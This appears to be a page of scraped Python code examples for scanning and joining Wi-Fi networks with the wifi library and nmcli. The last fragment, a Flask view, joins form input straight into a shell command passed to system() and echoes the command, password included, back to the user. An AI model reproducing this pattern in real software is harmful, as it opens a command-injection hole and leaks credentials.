        if len(x) > 0:
            print "lenght ", len(x)
            inbuff = inbuff + x
        for char in inbuff:
            if char == "<":  #start of command
                newcmd = ""
                newcmdflag = True
예제 #54
0
import subprocess
import wifi
from wifi import Cell, Scheme, scan

#results = subprocess.check_output(["netsh", "wlan", "show", "network"])

#print(results.decode('ascii'))

ssids = [cell.ssid for cell in Cell.all('wlan0')]

schemes = list(Scheme.all())

print(schemes)
예제 #55
-1
def network_wlan():

	ALL_IP = ip_addresses()
	url = request.url_root
	url = url[7:-1]
	dicts = {
		'ALL_IP': ALL_IP,
		'IP': ALL_IP['IP'],
		'using_desktop': using_desktop(),
		'url': url,
		}

	form=ConnectWifi(request.form)
	#dsadsa
	cell = Cell.all('wlan0')
	ssid=[]
	for c in cell:
		ssid.append(c.ssid)

	if request.method == 'POST':
		wifi_name = form.ssid.data
		password = form.password.data
		cmd = 'nmcli dev wifi connect ' + wifi_name + ' password ' + password
		system(cmd)
		return cmd

	return render_template('network/network_wlan.html',
		wlan=ssid, form=form, dicts=dicts)